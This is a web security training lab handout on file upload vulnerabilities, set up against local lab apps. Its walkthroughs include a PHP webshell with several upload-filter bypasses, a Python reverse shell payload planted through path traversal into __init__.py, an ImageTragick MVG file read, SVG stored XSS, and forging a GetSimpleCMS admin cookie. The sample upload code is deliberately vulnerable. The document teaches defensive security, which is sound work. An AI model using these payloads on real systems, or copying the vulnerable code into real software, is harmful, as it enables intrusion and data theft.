Lab 4 - File Upload Vulnerabilities Hide01.ir
Lab 4 - File Upload Vulnerabilities Hide01.ir
Lab 4 - File Upload Vulnerabilities Hide01.ir
Part: 2
Lab ID: 4
File Upload
Vulnerabilities
7ASecurity
admin@7asecurity.com
1
File uploads
INDEX
7ASecurity © 2022
2
File uploads
Before starting the lab, if you haven't already installed PHP, please proceed with the
installation below. It’s recommended to use php7.2 for this lab.
If you are using the lab VM, this is already installed and configured in the following
location: /var/www/html/part2/lab4/file_upload/php
Commands:
# within the lab vm, you can manage multiple versions of PHP
# by running the following command:
sudo update-alternatives --config php
If you are not using the lab VM, you need to run the below commands to install the
relevant apps:
Download Link:
https://training.7asecurity.com/ma/mwebapps/part2/apps/php_file_upload.zip
Commands:
sudo add-apt-repository ppa:ondrej/php
Sudo apt-get update
sudo apt-get install php7.2 libapache2-mod-php7.2
sudo apt-get install php7.2-mbstring php7.2-gd php7.2-mysql php7.2-xml
php7.2-curl php7.2-simplexml php7.2-zip
sudo systemctl restart apache2
# Download the files using the above link and unzip it to the
# webroot
7ASecurity © 2022
3
File uploads
cd /var/www/html/
unzip php_file_upload.zip
cd php
# Open the default configuration file and copy paste the below “Code”
# into 000-default.conf
sudo vim /etc/apache2/sites-available/000-default.conf
sudo systemctl restart apache2
Code:
<Directory /var/www/html>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Require all granted
</Directory>
7ASecurity © 2022
4
File uploads
Introduction
A file upload vulnerability typically happens when the application allows the user to
upload a file which is eventually executed. This can sometimes lead to Remote Code
Execution.
Filename:
file_upload/php/example1/upload.php
Code:
<?php
if (!empty($_FILES['uploaded_file']))
{
$path = "uploads/";
$path = $path . basename($_FILES['uploaded_file']['name']);
if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path))
{
echo "The file " . basename($_FILES['uploaded_file']['name']) . " has been
uploaded";
}
else
{
echo "There was an error uploading the file, please try again!";
}
}
?>
The code simply lets us upload any files onto the server which gets written to a directory
named “uploads”. Let’s create a sample file and upload it to the server:
Commands:
echo "7asecurity.com - uploaded file" > /tmp/7asec.txt
curl -F 'uploaded_file=@/tmp/7asec.txt'
http://localhost/part2/lab4/file_upload/php/example1/upload.php
Output:
[...]
7ASecurity © 2022
5
File uploads
As we can see, the file got successfully uploaded. Since the file goes to a folder named
“uploads” in the same directory, we can access it as well.
Command:
curl "http://localhost/part2/lab4/file_upload/php/example1/uploads/7asec.txt"
Output:
7asecurity.com - uploaded file
This is a harmless upload but what if we can upload our own custom php file onto the
server which can execute code for us ?
Let’s create a simple one liner php shell and upload it to the server.
Commands:
echo "<?php echo shell_exec(\$_GET['cmd'].' 2>&1'); ?>" > /tmp/shell.php
curl -F 'uploaded_file=@/tmp/shell.php'
http://localhost/part2/lab4/file_upload/php/example1/upload.php
Output:
[...]
The file shell.php has been uploaded
Seems like the file got uploaded. Let’s see if we can access the file and pass on the
argument “cmd” with the command we want to execute.
Commands:
curl
"http://localhost/part2/lab4/file_upload/php/example1/uploads/shell.php?cmd=who
ami"
Output:
www-data
As we can see, the file got successfully executed and we can run our commands !
7ASecurity © 2022
6
File uploads
Let us look at some of the common ways in which we can bypass several blacklist filters
which are used widely.
One of the most common ways to introduce filtering into file uploads is to restrict
uploading malicious file extensions like “.php”.
Filename:
file_upload/php/example2/upload.php
Code:
<?php
if (!empty($_FILES['uploaded_file']))
{
$path = "uploads/";
$path = $path . basename($_FILES['uploaded_file']['name']);
So, we added 3 new lines here (highlighted above) which checks if the uploaded file has
the extension “.php” and if so, it blocks the upload.
7ASecurity © 2022
7
File uploads
Can you find the vulnerability in the code above and try to bypass the filter? Try for at
least a minute before jumping to the solution on the next page!
7ASecurity © 2022
8
File uploads
Let’s first try to upload a PHP file and see what happens:
Command:
curl -F 'uploaded_file=@/tmp/shell.php'
http://localhost/part2/lab4/file_upload/php/example2/upload.php
Output:
[...]
php files are not allowed
So, the filter is working as intended. However, there are multiple ways in which we can
bypass the same filter. Let’s look at each different ways:
Let’s use the php command line to understand the working of the filter:
Command:
php -a
php > $ext = explode(".", "shell.php");
php > print_r($ext);
Output:
Array
(
[0] => shell
[1] => php
)
So, after the explode(), “$ext[1]” points to “php”'. But what will happen if we give double
extensions in the filename ?
Command:
php > $ext = explode(".", "shell.jpg.php");
php > print_r($ext);
Output:
Array
(
[0] => shell
[1] => jpg
[2] => php
)
7ASecurity © 2022
9
File uploads
So, while giving a double extension to the filename, like “shell.jpg.php”, after the
explode() call, the extension is considered as “.jpg” while the actual extension is still
“.php”. Let’s verify the bypass:
Command:
echo "<?php echo shell_exec(\$_GET['cmd'].' 2>&1'); ?>" > /tmp/shell.jpg.php
curl -F 'uploaded_file=@/tmp/shell.jpg.php'
http://localhost/part2/lab4/file_upload/php/example2/upload.php
Output:
[...]
The file shell.jpg.php has been uploaded
Seems like the filter has been successfully bypassed. Let’s confirm we can still execute
code:
Command:
curl
"http://localhost/part2/lab4/file_upload/php/example2/uploads/shell.jpg.php?cmd
=whoami"
Output:
www-data
The filter explicitly blocked the extension “.php” but is there any extension which can be
used other than “.php” to execute php code ? Well the short answer is Yes !
Command:
echo "<?php echo shell_exec(\$_GET['cmd'].' 2>&1'); ?>" > /tmp/shell.php7
curl -F 'uploaded_file=@/tmp/shell.php7'
http://localhost/part2/lab4/file_upload/php/example2/upload.php
Output:
[...]
The file shell.php7 has been uploaded
7ASecurity © 2022
10
File uploads
Seems like the file got uploaded. Let’s try to access it directly and execute our
command.
Command:
curl
"http://localhost/part2/lab4/file_upload/php/example2/uploads/shell.php7?cmd=wh
oami"
Output:
www-data
Some of the other interesting extensions we can try are php3, php4, php5, php7, phtml,
phar and phtm. These extensions can work depending on the backend configuration of
php/apache2.
Command:
# In order to enable .htaccess, run the following commands:
sudo a2enmod rewrite
sudo systemctl restart apache2
# Open the default configuration file and copy paste the below “Code”
# into 000-default.conf
sudo vim /etc/apache2/sites-available/000-default.conf
sudo systemctl restart apache2
Code:
<Directory /var/www/html>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Require all granted
</Directory>
1
http://httpd.apache.org/docs/2.2/howto/htaccess.html
7ASecurity © 2022
11
File uploads
One of the ways to configure apache2 to execute files other than the ones with “.php”
extension is to use an .htaccess file and explicitly mention to run a particular extension
as php. For example:
Code:
AddType application/x-httpd-php .jpg
The above code, if added to the .htaccess file, will ensure that apache2 will consider all
“.jpg” as php and will go ahead and execute. So, let’s try to upload an .htaccess file and
see if we can bypass the filter.
Command:
echo "AddType application/x-httpd-php .jpg" > /tmp/.htaccess
curl -F 'uploaded_file=@/tmp/.htaccess'
http://localhost/part2/lab4/file_upload/php/example2/upload.php
Output:
[...]
The file .htaccess has been uploaded
Now that we have the .htaccess file uploaded to “uploads/” directory, let’s try to upload
the shell with a filename “shell.jpg” so that it bypasses the filter but still will go ahead and
execute like php due to the .htaccess configuration we just uploaded.
Command:
echo "<?php echo shell_exec(\$_GET['cmd'].' 2>&1'); ?>" > /tmp/shell.jpg
curl -F 'uploaded_file=@/tmp/shell.jpg'
http://localhost/part2/lab4/file_upload/php/example2/upload.php
Output:
[...]
The file shell.jpg has been uploaded
Seems like the upload was successful. Let’s access the file and see if we can execute
the code:
Command:
curl
"http://localhost/part2/lab4/file_upload/php/example2/uploads/shell.jpg?cmd=who
ami"
Output:
7ASecurity © 2022
12
File uploads
www-data
Most often uploads are linked to image files and developers always tend to use
techniques which can detect that the uploaded files are of type image and if not, block
the uploads. Let’s look at an example and how to bypass it
Filename:
file_upload/php/example3/upload.php
Code:
<?PHP
if (!empty($_FILES['uploaded_file']))
{
$path = "uploads/";
$path = $path . basename($_FILES['uploaded_file']['name']);
if (!exif_imagetype($_FILES['uploaded_file']['tmp_name']))
{
die("Uploaded file is not an image !");
}
if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path))
{
echo "The file " . basename($_FILES['uploaded_file']['name']) . " has been
uploaded";
}
The uploaded filename should not contain the string “.php” and also the file is being
sent through exif_imagetype() function which basically detects if a given file is of type
image.
Reading through the exif_imagetype()2 documentation, we can see that the function
reads the first few bytes of the file and checks its signature to confirm if the file is an
image or not.
2
https://www.php.net/manual/en/function.exif-imagetype.php
7ASecurity © 2022
13
File uploads
If the signature is matched, the function returns the appropriate constant values for that
particular signature and if it doesn't match, it returns false.
Can you find the vulnerability in the code above and try to bypass the filter? Try for at
least a minute before jumping to the solution on the next page!
7ASecurity © 2022
14
File uploads
Since we can’t upload any files with the string “.php” in it, we need to upload “.htaccess”
first to make sure the files of a different extension can be used as php.
But here the challenge is that the ".htaccess” file is not an image file. So in order to
bypass the filter, we need to construct a file which is an image but also works as
“.htaccess” !
We know that the line starting with “#” in a .htaccess file is considered as a comment. So
if there is an image whose first byte starts with “#”, then we might be able to use it to our
advantage.
7ASecurity © 2022
15
File uploads
If you research each image format, you can conclude that “XBM” (X-BitMap3) images
look very interesting. A generic XBM image looks like below:
This looks exactly what we need because the first 2 lines defines the height and width of
the image and it starts with “#” which is considered as a comment while parsing
“.htaccess” by apache2.
So, let’s construct a “.htaccess” file which starts with the above headers.
Command:
vim /tmp/.htaccess
File:
.htaccess
Code:
#define width 123
#define height 123
Command:
curl -F 'uploaded_file=@/tmp/.htaccess'
http://localhost/part2/lab4/file_upload/php/example3/upload.php
Output:
[...]
The file .htaccess has been uploaded
So we successfully created a polyglot and bypassed the filter. The uploaded .htaccess
configuration lets us execute php code using jpg files. Let’s try to upload our shell and
see if we can get RCE.
3
https://en.wikipedia.org/wiki/X_BitMap
7ASecurity © 2022
16
File uploads
File:
/tmp/shell.jpg
Code:
#define width 123
#define height 123
<?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>
Command:
curl -F 'uploaded_file=@/tmp/shell.jpg'
http://localhost/part2/lab4/file_upload/php/example3/upload.php
Output:
[...]
The file shell.jpg has been uploaded
Now that we have uploaded our shell in “jpg” format, let’s try to access the file directly
and execute our code.
Command:
curl
"http://localhost/part2/lab4/file_upload/php/example3/uploads/shell.jpg?cmd=who
ami"
Output:
#define width 123
#define height 123
www-data
7ASecurity © 2022
17
File uploads
Introduction
File upload vulnerabilities in PHP are simple to exploit if we can upload a file with “.php”
extension and it has executable permission, but unlike PHP, it’s not possible to get a
similar RCE in Python by uploading a “.py” file.
In Python we can abuse a file upload mostly by overwriting existing files. Let’s look at
some interesting cases.
Code:
import os
from flask import Flask, request, render_template, url_for, redirect
app = Flask(__name__)
@app.route("/")
def fileFrontPage():
return render_template('fileform.html')
@app.route("/handleUpload", methods=['POST'])
def handleFileUpload():
if 'photo' in request.files:
photo = request.files['photo']
if photo.filename != '':
photo.save(os.path.join('/tmp/', photo.filename))
return redirect(url_for('fileFrontPage'))
if __name__ == '__main__':
4
https://www.thamizhchelvan.com/python/simple-file-upload-python-flask/
5
https://github.com/thamizhchelvan/Python/tree/master/flask-file-upload
7ASecurity © 2022
18
File uploads
The code above was slightly modified to add the uploaded file path to the hard-coded
“/tmp” directory (highlighted text). As an addition, our script will also import settings from
the configuration files located under the “config” directory. The “/handleUpload” endpoint
can receive a file which is directly written to the “/tmp” directory on our hard drive.
If you are using the lab VM, files are already available inside the VM:
Command:
cd ~/labs/part2/lab4/python_file_upload
If you are not using the lab VM, you need to run the below commands to install the
relevant apps:
Download Link:
https://training.7asecurity.com/ma/mwebapps/part2/apps/python_file_upload.zip
Commands:
mkdir -p ~/labs/part2/lab4/python_file_upload
cd ~/labs/part2/lab4/python_file_upload
File:
file_upload.py
Now we can run the file_upload.py script which will start the listener to handle incoming
connections.
Command:
# Flask is already installed in the Lab VM.
# incase you still need to install flask
pip install flask
7ASecurity © 2022
19
File uploads
Once the code is running, let’s try to upload a sample file and see how the upload
process is handled. When the upload is successfully completed, we should see the
uploaded file in the “/tmp” directory.
Command:
echo "7asecurity" > ~/labs/part2/lab4/python_file_upload
curl -F 'photo=@/home/alert1/labs/part2/lab4/python_file_upload/7asec.txt'
http://0.0.0.0:4000/handleUpload
ls /tmp
Output:
7asec.txt
The uploader seems to be working correctly. Let’s look at the code which handles the file
writing to disk and see if we can manipulate it.
Code:
@app.route("/handleUpload", methods=['POST'])
def handleFileUpload():
if 'photo' in request.files:
photo = request.files['photo']
if photo.filename != '':
photo.save(os.path.join('/tmp/', photo.filename))
return redirect(url_for('fileFrontPage'))
The highlighted part of the code in the snippet above is responsible for saving uploaded
files in the “/tmp” directory located on the disk. The most interesting part is the
“os.path.join” function used in our example.
From the Python documentation6, we can read that the “os.path.join” function joins one
or more paths and returns the value, which is the concatenation of the path and any path
members. In our example, the 1st argument of the function is hard-coded (“/tmp”
directory), but the 2nd one is the value we can control (the filename of the uploaded file).
Let’s use the Python command line to execute and understand the behaviour on how the
concatenation works:
Command:
python -c "import os; print(os.path.join('/tmp/', '7asec.txt'))"
6
https://docs.python.org/3/library/os.path.html#os.path.join
7ASecurity © 2022
20
File uploads
Output:
/tmp/7asec.txt
The ideal scenario is shown in the snippet above, where the filename is directly
appended to the “/tmp” directory. As a result of using “os.path.join” our path became as
follows “/tmp/filename” and the content of our file has been written in the “filename”.
Now, what if we give a relative path in the filename instead?
Command:
python -c "import os; print(os.path.join('/tmp/', '../7asec.txt'))"
Output:
/tmp/../7asec.txt
The output becomes a relative path which the “.save()” function resolves before writing
this file to disk, essentially leading to an arbitrary file write !
Let’s fire up the Burp Suite and capture the request so that we can play around with the
requests. Configure Burp Suite7 to work with your browser and ensure that “intercept
request” is ON.
Let’s use the same curl request we used above but this time, let’s use the proxy flag to
intercept the request via the proxy.
Command:
curl --proxy 127.0.0.1:8080 -F
'photo=@/home/alert1/labs/part2/lab4/python_file_upload/7asec.txt'
http://0.0.0.0:4000/handleUpload
The command will proxy the request through Burp Suite where we can edit the request.
Let’s edit the filename parameter to “../home/alert1/7asec.txt” and forward the request.
7
https://portswigger.net/support/configuring-your-browser-to-work-with-burp
7ASecurity © 2022
21
File uploads
Once modified, we can forward the request and then list the files in the directory to see if
a new file is being written to that location.
Command:
ls /home/alert1
Output:
7asec.txt Desktop Downloads NodeGoat Public
One of the interesting file types in Python is the “__init__.py” file, which is required by
Python to treat the directories as packages and hence prevent directories with a
common name, such as “string” from unintentionally hiding valid modules. The
“__init__.py” can also be an empty file but without it, python will fail to import files
properly.
In the above example, we can see that the directory “config” from which we import the
configuration contains an empty “__init__.py” file. If we rename/delete that file, the
program will fail to import the settings from that directory.
7ASecurity © 2022
22
File uploads
Commands:
rm -rf config/__init__.py* # “*” is used to delete the pyc files as well.
python file_upload.py
Output:
Traceback (most recent call last):
File "file_upload.py", line 4, in <module>
from config import settings
ImportError: No module named config
An interesting thing to note is that the “__init__.py” file is automatically executed while
importing a module from that particular directory. So if we can overwrite the “__init__.py”
file, we can achieve remote code execution ! Let’s try it with our sample Python code.
Command:
curl --proxy 127.0.0.1:8080 -F
'photo=@/home/alert1/labs/part2/lab4/python_file_upload/7asec.txt'
http://0.0.0.0:4000/handleUpload
Using Burp Suite, let’s change the filename to the absolute location of the “__init__.py”
and contents to simply print 123.
7ASecurity © 2022
23
File uploads
If we look at the Python console, we can see that the value “123” has been printed
confirming our hypothesis.
The reason why the code got executed immediately is that the Flask server is running in
debug mode, so any changes in the existing files are automatically detected and the
server is restarted to accommodate the changes.
On a production server, the code execution will only happen when the server gets
restarted manually or the same module from the same directory is imported somewhere
else.
One of the drawbacks of this approach is that the attacker needs to know the full path to
overwrite the file which is sometimes hard to predict as python scripts can be executed
from any location. A reliable way to exploit this is to overwrite the “__init__.py” file from
standard python libraries whose install locations can be predicted.
As an example, let's install the package called “jinja2” (you can use any package for that
matter, this is just an example) and use it within our program.
Commands:
pip install jinja2
In Ubuntu, the common location to which this package gets installed is:
“/home/<user_name>/.local/lib/python2.7/site-packages/jinja2”. So if the package is
imported into the code, we can overwrite the “__init__.py” of the jinja2 package itself !
7ASecurity © 2022
24
File uploads
Commands:
# Confirming if jinja2 got installed to the specified location
cd /home/alert1/.local/lib/python2.7/site-packages/
ls jinja2
Output:
__init__.py _identifier.py bccache.py constants.py defaults.py …
…
…
Now, we confirmed the location and can use the same approach within Burp Suite to
verify if our code execution still works:
Command:
curl --proxy 127.0.0.1:8080 -F
'photo=@/home/alert1/labs/part2/lab4/python_file_upload/7asec.txt'
http://0.0.0.0:4000/handleUpload
If we look at the Python console again, we can see that the value “CODE EXECUTION”
has been printed confirming our hypothesis.
NOTE: This will corrupt the “jinja2” file and the program will crash right after executing
our payload, so it’s recommended to keep a backup of the “__init__.py” file or reinstall
the package once again.
7ASecurity © 2022
25
File uploads
Finally let’s use the reverse shell8 payload to obtain a reverse shell from the code
execution.
Payload:
import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.
0.0.0",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Command:
nc -nlvp 1234 # on a separate terminal
Command:
curl --proxy 127.0.0.1:8080 -F
'photo=@/home/alert1/labs/part2/lab4/python_file_upload/7asec.txt'
http://0.0.0.0:4000/handleUpload
Forwarding the request, we can see the reverse shell in the console where we are
running the netcat listener !
8
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
7ASecurity © 2022
26
File uploads
7ASecurity © 2022
27
File uploads
Introduction
Assuming that a fileupload is fully secure and it accepts only proper image files, we can
still try to exploit the uploader if it's trying to process the uploaded image files using a
vulnerable library.
Imagemagick is one of the most popular and widely used software suites for displaying,
creating, converting, modifying, and editing image files. The suite has support for over
200 image file formats.
If you are using the lab VM, docker and its images are already installed/configured. You
just need to start the container:
Command:
docker start imagetragick
If you are not using the lab VM, before proceeding with the lab, please install the
relevant apps:
Download Link:
https://training.7asecurity.com/ma/mwebapps/part2/apps/image_converter.zip
Commands:
sudo apt install apt-transport-https ca-certificates curl
software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64]
https://download.docker.com/linux/ubuntu bionic stable"
sudo apt update
sudo apt install docker-ce
# Download the lab files from the above link and unzip it
7ASecurity © 2022
28
File uploads
unzip image_converter.zip
cd image_converter
# incase if it gives HTTP 500 internal server error:, run the following:
docker exec -it imagetragick /bin/bash
chmod 777 -R /var/www/html/image_converter/
7ASecurity © 2022
29
File uploads
Once the application is up and running, we can see that the application lets us upload an
image file and convert whatever the format is to png. Let’s look at the source code in
detail:
Command:
docker exec -it imagetragick /bin/bash
cd /var/www/html/image_converter/
vim index.php
Code:
<?php
if(isset($_POST["submit"])) {
$target_dir = "uploads/";
$uploaded_file = false;
$target_file = basename(htmlspecialchars($_FILES["files"]["name"]));
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
$upload_with_png = $target_dir . sha1($target_file) . '.png';
$upload_file_name = $target_dir .
sha1(basename(htmlspecialchars($_FILES["files"]["name"]))) . "." . $imageFileType;
7ASecurity © 2022
30
File uploads
if (move_uploaded_file($_FILES["files"]["tmp_name"], $upload_file_name)) {
$uploaded_file = true;
if($imageFileType == "mvg")
$command = 'convert MVG:' . $upload_file_name . ' ' . $upload_with_png;
else
$command = 'convert ' . $upload_file_name . ' ' . $upload_with_png;
system($command);
} else {
echo "<script>alert('Sorry, there was an error uploading your
file.');</script>";
header('Location: index.php');
die(0);
}
}
?>
The code lets us upload image files of type jpg, png, jpeg, gif and mvg and the maximum
file size should not exceed 500 KB. The code above uses system() function to execute
the “convert” command which internally uses imagemagick to convert the images to
various file formats.
Let’s upload a normal jpg file and see how the application works:
Fig.: Clicking on the “test.jpg” below Processed files will open the new PNG file
Clicking on the filename below the heading “Processed files”, it will take us to the file
which after conversion is now a png image !
7ASecurity © 2022
31
File uploads
One interesting thing to note is that the code supports MVG (Magick Vector Graphics)
files which is nothing but a graphic file used by ImageMagick to view, edit, and convert
images. To understand the format better, we can also look at the official ImageMagick
website9.
Reading more about CVE-2016-371710, we can see that the LABEL coder in
ImageMagick before 6.9.3-10 and 7.x before 7.0.1-1 allows remote attackers to read
arbitrary files via a crafted image.
ImageMagick had a bunch of vulnerabilities reported almost at the same time and the
original researchers called the bugs ImageTragick11. Let’s use the very simple PoC
provided by the original researcher.
Filename:
exploit.mvg
Code:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context
Let’s upload the above file and see what happened to the processed image.
9
https://www.imagemagick.org/include/magick-vector-graphics.php
10
https://nvd.nist.gov/vuln/detail/CVE-2016-3717
11
https://imagetragick.com/
7ASecurity © 2022
32
File uploads
Clicking on the filename below processed files, we can see that the newly processed file
took the content of the file and converted it into an image file !
7ASecurity © 2022
33
File uploads
Introduction
One of the most interesting types of image files are SVG’s (Scalable Vector Graphics)
which is nothing but XML based image format which is supported by all modern
browsers. Let’s take a very simple example svg image:
Filename:
sample.svg
Code:
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="40" stroke="red" fill="green" />
</svg>
Here we defined a file named “sample.svg” with a code which basically creates a circle
with a red border and filled with green. Save the file and open this in any of the modern
browsers to view the image:
7ASecurity © 2022
34
File uploads
Filename:
sample.svg
Code:
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
<script>alert(1);</script>
<circle cx="50" cy="50" r="40" stroke="red" fill="green" />
</svg>
This will actually execute the JavaScript within the SVG ! We can also use event
handlers along with SVG attributes to achieve the same result (without script tags).
Code:
<svg onload="alert(1)" width="100" height="100" xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="40" stroke="red" fill="green" />
</svg>
This behavior of SVG files can effectively be used against the file uploads to upload an
image of type SVG and get a stored XSS ! Let’s take an example to illustrate:
Filename:
file_upload/php/example4/upload.php
Code:
<?php
if (!empty($_FILES['uploaded_file'])) {
$path = "uploads/";
$path = $path . basename($_FILES['uploaded_file']['name']);
7ASecurity © 2022
35
File uploads
$mime_type = mime_content_type($_FILES['uploaded_file']['tmp_name']);
The code explicitly checks the mime type of the file and the upload is allowed only if the
mimetype of the file starts with “image”.
Command:
echo "7asecurity.com" > /tmp/sample.txt
curl -F 'uploaded_file=@/tmp/sample.txt'
http://localhost/part2/lab4/file_upload/php/example4/upload.php
Output:
[...]
Uploaded file is not an image !
So we can confirm that we can’t upload other kinds of files, like html, php etc. Let’s try to
upload a SVG file and try to access it over the browser:
Filename:
sample.svg
Code:
<svg onload="alert(document.domain)" width="100" height="100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="40" stroke="red" fill="green" />
</svg>
Command:
7ASecurity © 2022
36
File uploads
curl -F 'uploaded_file=@/home/alert1/labs/php/sample.svg'
http://localhost/part2/lab4/file_upload/php/example4/upload.php
Output:
[...]
The file sample.svg has been uploaded
Now the file got uploaded successfully, open the link to the file in a browser and you can
see the stored XSS being executed successfully !
http://localhost/part2/lab4/file_upload/php/example4/uploads/sample.svg
7ASecurity © 2022
37
File uploads
Introduction
GetSimpleCMS is a simple content management system written in PHP. A file upload
vulnerability (CVE-2019-1123112) was reported in the GetsimpleCMS versions <= 3.3.15
where due to insufficient input sanitation in the theme-edit.php file allows upload of files
with arbitrary content (PHP code, for example).
Before proceeding with the lab, let’s install the vulnerable version of the GetSimpleCMS.
Download Link:
https://training.7asecurity.com/ma/mwebapps/part2/apps/getsimplecms3.3.15.zip
Installation:
cd /var/www/html
Code:
<Directory /var/www/html>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Require all granted
</Directory>
12
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11231
7ASecurity © 2022
38
File uploads
Continue with the setup and enter the website name, admin username (keep the
username as “admin”) and any random admin email address.
Once the installation completes, the framework will automatically generate a new
password for the admin user as shown below:
Now that we have the password, click on “Login here” to login to the admin account.
7ASecurity © 2022
39
File uploads
Command:
ls data/users
Output:
admin.xml admin.xml.reset
An interesting point to note is that apache2 does not have “.htaccess” support enabled
by default out of the box on latest versions. It has to be manually enabled. At the time of
writing this, if we look at the official installation instructions, there is no mention that
“.htaccess” support has to be enabled manually. This will lead to these XML files being
disclosed over the server.
NOTE: Since we have manually enabled support for “.htaccess” in previous labs, you
might need to make changes in the apache2 config.
Command:
# modify “AllowOverride All” to AllowOverride None”
sudo vim /etc/apache2/sites-available/000-default.conf
sudo systemctl restart apache2
Once “.htaccess” configuration is revoked, let’s try to access the xml file.
Command:
curl http://localhost/part2/lab4/getsimplecms/data/users/admin.xml
Output:
<?xml version="1.0"?>
<item><USR>admin</USR><PWD>676c5a9b0aa9483cfd7cb669f33d70339d15b299</PWD><EMAIL
>admin@gmail.com</EMAIL><HTMLEDITOR>1</HTMLEDITOR><TIMEZONE/><LANG>en_US</LANG>
</item>
But the password is hashed, so either we have to break the hash or we can look at other
interesting files in the data directory, one of which is the authorization.xml file located in
“data/other” directory.
Command:
7ASecurity © 2022
40
File uploads
curl http://localhost/part2/lab4/getsimplecms/data/other/authorization.xml
Output:
<?xml version="1.0" encoding="UTF-8"?>
<item><apikey><![CDATA[026576866c96af3779d56c7580315143]]></apikey></item>
Now we have something called an API key for the GetSimpleCMS. Let’s grep through
the admin source code to identify where this is being used.
Commands:
cd admin/
grep -inr "apikey" .
Output:
./inc/api.plugin.php:37: $api_key = $_POST['apikey'];
./inc/api.plugin.php:92: <input type="hidden" name="apikey"
value="<?php echo $api->key; ?>" />
./inc/common.php:268: $SALT = stripslashes($dataa->apikey);
./template/header.php:65: $apikey =
json_decode($data);
./template/header.php:67: if(isset($apikey->status))
{
./template/header.php:68: $verstatus =
$apikey->status;
./health-check.php:36: $apikey =
json_decode($data);
./health-check.php:37: $verstatus =
$apikey->status;
./health-check.php:42: $ver = '<span
class="ERRmsg" ><b>'.$site_version_no.'</b><br /> '. i18n_r('UPG_NEEDED').'
(<b>'.$apikey->latest .'</b>)<br /><a
href="http://get-simple.info/download/">'. i18n_r('DOWNLOAD').'</a></span>';
So inside common.php, the apikey is being read and then is assigned to a variable
named “$SALT”.
Filename:
getsimplecms/admin/inc/common.php
Code:
if (defined('GSUSECUSTOMSALT')) {
// use GSUSECUSTOMSALT
$SALT = sha1(GSUSECUSTOMSALT);
}
7ASecurity © 2022
41
File uploads
else {
// use from authorization.xml
if (file_exists(GSDATAOTHERPATH .'authorization.xml')) {
$dataa = getXML(GSDATAOTHERPATH .'authorization.xml');
$SALT = stripslashes($dataa->apikey);
} else {
if($SITEURL !='' && get_filename_id() != 'install' && get_filename_id() !=
'setup' && get_filename_id() != 'update' && get_filename_id() != 'style'){
die(i18n_r('KILL_CANT_CONTINUE')."<br/>".i18n_r('MISSING_FILE').":
"."authorization.xml");
}
}
}
So if a custom salt is not defined, then this apikey is being taken as $SALT. Let’s look at
where this SALT is being used.
Command:
grep -inr "SALT" .
Output:
./cookie_functions.php:43: * @uses $SALT
./cookie_functions.php:48: global $USR,$SALT,$cookie_time,$cookie_name;
./cookie_functions.php:49: $saltUSR = sha1($USR.$SALT);
./cookie_functions.php:50: $saltCOOKIE = sha1($cookie_name.$SALT);
./cookie_functions.php:53: gs_setcookie($saltCOOKIE, $saltUSR);
[...]
./template_functions.php:509: * Generate Salt
./template_functions.php:516:function generate_salt() {
[...]
./common.php:257:global $SITENAME, $SITEURL, $TEMPLATE, $TIMEZONE, $LANG,
$SALT, $i18n, $USR, $PERMALINK, $GSADMIN, $components, $EDTOOL, $EDOPTIONS,
$EDLANG, $EDHEIGHT;
Seems like the SALT is mostly used inside cookie_functions.php. Let’s explore the file
and see why and where this variable is being used. The cookie_functions.php starts by
importing configurations.php at the beginning which contains some basic configuration
variables.
Filename:
getsimplecms/admin/inc/configuration.php
Code:
$site_full_name = 'GetSimple';
7ASecurity © 2022
42
File uploads
$site_version_no = '3.3.15';
$name_url_clean = lowercase(str_replace(' ','-',$site_full_name));
$ver_no_clean = str_replace('.','',$site_version_no);
$site_link_back_url = 'http://get-simple.info/';
// cookie config
$cookie_name = lowercase($name_url_clean) .'_cookie_'. $ver_no_clean; //
non-hashed name of cookie
$cookie_login = 'index.php'; // login redirect
$cookie_time = '10800'; // in seconds, 3 hours
Let’s explore the create_cookie() function and see how these variables including SALT is
being used in the cookie creation process:
Filename:
getsimplecms/admin/inc/cookie_function.php
Code:
function create_cookie() {
global $USR,$SALT,$cookie_time,$cookie_name;
$saltUSR = sha1($USR.$SALT);
$saltCOOKIE = sha1($cookie_name.$SALT);
gs_setcookie('GS_ADMIN_USERNAME', $USR);
gs_setcookie($saltCOOKIE, $saltUSR);
}
$USR is nothing but the username (we can confirm this by logging in to the application
once and checking the cookie value). So one of the cookies is
“GS_ADMIN_USERNAME” with the value of “admin”.
sha1($cookie_name. $SALT) =
sha1(‘getsimple_cookie_3315026576866c96af3779d56c7580315143’) ==
sha1(‘$USR.$SALT’) == sha1(‘admin026576866c96af3779d56c7580315143’)
7ASecurity © 2022
43
File uploads
Command:
python -c "import hashlib; print('Cookie Name: ' +
hashlib.sha1('getsimple_cookie_3315026576866c96af3779d56c7580315143').hexdigest
() + '\nCookie Value: ' +
hashlib.sha1('admin026576866c96af3779d56c7580315143').hexdigest())"
Output:
Cookie Name: ab1d1826f295f9cfbb01669f571c4654d7d0faa8
Cookie Value: 2d4690a646c40083b534122e4cb5c3283f8454be
We can confirm that our logic is correct by exploring the cookie_check() function which
basically checks if a given cookie is correct or not.
Code:
function cookie_check() {
global $USR,$SALT,$cookie_name;
$saltUSR = $USR.$SALT;
$saltCOOKIE = sha1($cookie_name.$SALT);
if(isset($_COOKIE[$saltCOOKIE])&&$_COOKIE[$saltCOOKIE]==sha1($saltUSR)) {
return TRUE; // Cookie proves logged in status.
} else {
return FALSE;
}
}
Here as well, the $saltUSR and $saltCOOKIE value is calculated and compared to the
cookie value from the HTTP request. Let’s finally verify this by sending the request to the
application via curl.
